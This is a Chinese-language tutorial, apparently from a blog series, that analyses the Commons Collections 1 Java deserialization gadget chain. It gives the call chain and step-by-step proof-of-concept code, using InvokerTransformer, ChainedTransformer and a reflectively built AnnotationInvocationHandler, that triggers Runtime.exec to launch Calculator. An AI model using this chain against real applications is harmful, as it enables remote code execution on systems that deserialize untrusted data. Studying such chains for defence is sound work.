- 1 序列化与反序列化基础
- 2 漏洞基本原理
- 3 Java 反射
- 4 DNSURL gadget 分析
- 1 背景介绍
- 2 CommonsCollections 1 Gadget 分析
- 3 CommonsCollections 6 Gadget 分析
- 4 CommonsCollections 2&&4 Gadget 分析
- JDK 7U21 Gadget
- 1 原理
- 2 构造
- 3 调用链
- 4 总结
- 1 Java 动态加载字节码
- 2 CommonsCollections 3 Gadget 分析
- 3 CommonsCollections 5 Gadget 分析
- 4 CommonsCollections 7 Gadget 分析
- 反序列化攻击涉及到的相关协议
- 1 RMI
- 2 JNDI
2 CommonsCollections 1 Gadget 分析
2.1 调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.2 POC
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "Geekby");
2.3 分析
2.3.1 整体思路
cc1 gadget 的 sink 点在于 InvokerTransformer
类可以通过传入方法名,方法参数类型、方法参数,利用反射机制,进行方法调用。
反向寻找使用了 InvokerTransformer
类中 transform
方法的调用点:
发现 TransformedMap
类中的 checkSetValue
方法中调用了 transform
方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在 TransformedMap
类的成员中,发现 protected final Transformer valueTransformer
属性。通过调用该类的 decorate
方法,可以构造一个 TransformedMap
对象。
接下来去寻找调用了 checkSetValue
的 source
:
在 MapEntry
中,存在 setValue
方法。因此,该链的前半段 POC 如下:
接下来就是去寻找反序列化的入口,在 AnnotationInvocationHandler
类中,重写了 readObject
方法,在该方法中,对 MapEntry
调用了 setValue
方法。
该类非公有,因此,需要通过反射来构造其对象:
Class annotationClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class, outerMap);
对 obj 对象进行反序列化,构成整条链的利用思路。整个过程涉及到如下几个接口和类的具体作用及一些细节如下。
2.3.2 TransformedMap
TransformedMap 用于对 Java 标准数据结构 Map 做一个修饰,被修饰过的 Map 在添加新的元素时,将可以执行自定义的回调函数。如下,对 innerMap 进行修饰,传出的 outerMap 即是修饰后的 Map:
MapouterMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
其中,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调。 我们这里所说的「回调」,并不是传统意义上的一个回调函数,而是一个实现了 Transformer 接口的类。
2.3.3 Transformer
Transformer 是一个接口,它只有一个待实现的方法:
TransformedMap 在转换 Map 的新元素时,就会调用 transform 方法,这个过程就类似在调用一个「回调函数」,这个回调的参数是原始对象。
2.3.4 ConstantTransformer
ConstantTransformer 是实现了 Transformer 接口的一个类,它的过程就是在构造函数的时候传入一个对象:
并在 transform 方法将这个对象再返回:
2.3.5 InvokerTransformer
InvokerTransformer 是实现了 Transformer 接口的一个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。
在实例化这个 InvokerTransformer 时,需要传入三个参数,第一个参数是待执行的方法名,第二个参数是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表。
后面的回调 transform 方法,就是执行了 input 对象的 iMethodName 方法:
以执行 calc
为例:
2.3.6 ChainedTransformer
ChainedTransformer 也是实现了 Transformer 接口的一个类,它的作用是将内部的多个 Transformer 串在一起。通俗来说就是,前一个回调返回的结果,作为后一个回调的参数传入。
引用 phith0n 的一张图:
2.3.7 AnnotationInvocationHandler
触发这个漏洞的核心,在于向 Map 中加入一个新的元素。在上面的 demo 中,通过手动执行 outerMap.put("test", "xxxx");
来触发漏洞,但在实际反序列化时,需要找到一个类,它在反序列化的 readObject 逻辑里有类似的写入操作。
在 AnnotationInvocationHandler 类中的 readObject
:
核心逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()
和 memberValue.setValue(...)
。在调用 setValue 设置值的时候就会触发 TransformedMap 里注册的 Transform,进而执行 payload。
接下来构造 POC 时,首先创建一个 AnnotationInvocationHandler
:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
由于 sun.reflect.annotation.AnnotationInvocationHandler
是 JDK 的内部类,其构造函数是私有的,因此通过反射来创建对象。
2.3.8 进一步完善
通过构造 AnnotationInvocationHandler 类,来创建反序列化利用链的起点,用如下代码将对象序列化:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
但是,在经过序列化时,抛出异常:
在本系列的第一部分描述过, java.lang.Runtime
这个类没有实现 Serializable
接口,无法序列化。因此,需要通过反射来获取当前上下文中的 java.lang.Runtime
对象。
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
转换成 Transformer 的写法:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
但是,执行过后,发现仍然没有弹出计算器。
动态调试发现与 AnnotationInvocationHandler 类的逻辑有关,在 AnnotationInvocationHandler:readObject
的逻辑中,有一个 if 语句对 var7 进行判断,只有在其不是 null 的时候才会进入里面执行 setValue,否则不会进入也就不会触发漏洞。
那么如何让这个 var7 不为 null 呢?需要如下两个条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第一个参数必须是 Annotation 的子类,且其中必须含有至少一个方法,假设方法名是 X- 被 TransformedMap.decorate 修饰的 Map 中必须有一个键名为 X 的元素
所以,前面的 payload 中用到了 Retention.class
,因为 Retention 有一个方法,名为 value。为了再满足第二个条件,需要给 Map 中放入一个 Key 是 value 的元素:
innerMap.put("value","Geekby");
但是这个 Payload 有一定局限性,在 Java 8u71 以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler
发生了变化导致不再可用。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论